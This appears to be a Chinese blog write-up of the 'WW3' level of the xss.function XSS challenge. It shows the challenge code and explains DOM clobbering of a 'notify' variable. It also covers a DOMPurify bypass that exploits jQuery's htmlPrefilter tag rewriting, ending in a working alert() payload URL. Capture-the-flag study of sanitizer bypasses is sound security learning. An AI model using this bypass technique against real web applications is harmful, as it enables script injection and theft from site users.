当前位置: 首页 > news >正文

xss.function靶场(hard)

文章目录

  • WW3
    • 源码
    • 分析源码
  • DOMPpurify框架绕过
  • 覆盖变量notify
  • js作用域和作用链域
  • 构建payload

WW3

源码

<!-- Challenge -->
<div><h4>Meme Code</h4><textarea class="form-control" id="meme-code" rows="4"></textarea><div id="notify"></div>
</div><script>/* Utils */const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');const memeTemplate = (img, text) => {return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)}const memeGen = (that, notify) => {if (text && img) {template = memeTemplate(img, text)if (notify) {html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)}setTimeout(_ => {$('#status').remove()notify ? ($('#notify').html(html)) : ''$('#meme-code').text(template)}, 1000)}}
</script><script>/* Main */let notify = false;let text = new URL(location).searchParams.get('text')let img = new URL(location).searchParams.get('img')if (text && img) {document.write(`<div class="alert alert-primary" role="alert" id="status">`+`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+`Creating meme... (${DOMPurify.sanitize(text)})</div>`)} else {$('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))}
</script>

目前啥也不输入,直接进入查看。
在这里插入图片描述

分析源码

可控的输入点为text和img。
img被escape过滤。也就是将<>"’=进行了替换。

const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');

text也是被过滤掉了。
拿到题目感觉到处都被过滤掉了。
这道题的入口点其实在

setTimeout(_ => {
$('#status').remove()
notify ? ($('#notify').html(html)) : ''
$('#meme-code').text(template)
}, 1000)

当notify为true时,就会进入到下面的函数

if (notify) {html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
}

但是题目中给出了notify为false,那我们就又得用dom破坏了。

DOMPpurify框架绕过

对于Jqury.html(),最终对标签的处理是在htmlPrefilter()中实现:jquery-src,其后再进行原生innerHTML的调用来加载到页面。

rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^/>x20trnf]*)[^>]*)/>/gijQuery.extend( {htmlPrefilter: function( html ) {return html.replace( rxhtmlTag, "<$1></$2>" );}...
})tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];

首先是匹配一些函数,然后当匹配到<*/>时,他会自动转换为<*></*>这类标签。
例如,对于<style><style/><script>alert(1337)//会被解析成<style><style></style><script>alert(1337)//。
我们知道DOMPurify的工作机制是将传入的payload分配给元素的innerHtml属性,让浏览器解释它(但不执行),然后对潜在的XSS进行清理。由于DOMPurify在对其进行innerHtml处理时,script标签被当作style标签的text处理了,所以DOMPurify不会进行清洗(因为认为这是无害的payload),但在其后进入html()时,这个无害payload就能逃逸出来一个有害的script标签从而xss。

覆盖变量notify

就是使用dom破坏。
id不允许覆盖已经存在的变量。
通过属性name进行覆盖。

js作用域和作用链域

在JS的函数中,一个变量是否可访问要看它的作用域(scope),变量的作用域有全局作用域和局部作用域(函数作用域)两种。
一步步的想上找。

构建payload

那么这里还有一类知识点,img标签时异步解码。
也就是这段代码里,会先写Creating,再加载图片,然后才会触发src…也就是可以使用text进行覆盖notify。

<div class="alert alert-primary" role="alert" id="status">+
<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">+
Creating meme... (${DOMPurify.sanitize(text)})</div>

那么就能顺利进入下面这段代码

if (notify) {html = (<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>)
}

最终也是进入了计时器里面。
构建payload

<img name=notify><style><style/><script>alert()//

那么传参也就是

img=https://i.imgur.com/PdbDexI.jpg&text=<img name%3dnotify><style><style%2F><script>alert(1337)%2F%2F

在这里插入图片描述

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • ECMAScript6块级声明:let声明、const声明
  • zabbix7.0 设置中文语言( Debian GNU/Linux 12)
  • pox破晓工作流部署过程
  • 【自动驾驶】无人驾驶中的“先验”和“后验”
  • 【ARM 芯片 安全与攻击 5.4 -- Meltdown 攻击与防御介绍】
  • C++入门——03内存管理
  • 数据结构----链表
  • 【iOS】—— 离屏渲染
  • REPO转GIT遇一问题
  • Linux - 权限
  • 深入理解HTTPS协议:CA证书的安全机制
  • B站搜索建库架构优化实践
  • 为什么要有二级指针
  • 第三章 PyTorch基础教程
  • windows C++-通过 C++/WinRT 创作 COM 组件(一)
  • 【347天】每日项目总结系列085(2018.01.18)
  • Android框架之Volley
  • CAP 一致性协议及应用解析
  • Create React App 使用
  • Docker容器管理
  • ES10 特性的完整指南
  • Eureka 2.0 开源流产,真的对你影响很大吗?
  • Javascript设计模式学习之Observer(观察者)模式
  • Java基本数据类型之Number
  • leetcode46 Permutation 排列组合
  • python docx文档转html页面
  • tweak 支持第三方库
  • vue的全局变量和全局拦截请求器
  • ​软考-高级-系统架构设计师教程(清华第2版)【第1章-绪论-思维导图】​
  • # Spring Cloud Alibaba Nacos_配置中心与服务发现(四)
  • #前后端分离# 头条发布系统
  • (1)SpringCloud 整合Python
  • (1)STL算法之遍历容器
  • (175)FPGA门控时钟技术
  • (delphi11最新学习资料) Object Pascal 学习笔记---第13章第6节 (嵌套的Finally代码块)
  • (javascript)再说document.body.scrollTop的使用问题
  • (苍穹外卖)day03菜品管理
  • (二)Linux——Linux常用指令
  • (回溯) LeetCode 131. 分割回文串
  • (论文阅读31/100)Stacked hourglass networks for human pose estimation
  • (十八)三元表达式和列表解析
  • (四)搭建容器云管理平台笔记—安装ETCD(不使用证书)
  • (一)pytest自动化测试框架之生成测试报告(mac系统)
  • (转)Linux下编译安装log4cxx
  • (转)拼包函数及网络封包的异常处理(含代码)
  • .NET Framework 和 .NET Core 在默认情况下垃圾回收(GC)机制的不同(局部变量部分)
  • .NET LINQ 通常分 Syntax Query 和Syntax Method
  • .Net Memory Profiler的使用举例
  • .Net MVC + EF搭建学生管理系统
  • .NET Standard 支持的 .NET Framework 和 .NET Core
  • .NET 实现 NTFS 文件系统的硬链接 mklink /J(Junction)
  • .NET8 动态添加定时任务(CRON Expression, Whatever)
  • .Net调用Java编写的WebServices返回值为Null的解决方法(SoapUI工具测试有返回值)
  • @font-face 用字体画图标
  • [ vulhub漏洞复现篇 ] AppWeb认证绕过漏洞(CVE-2018-8715)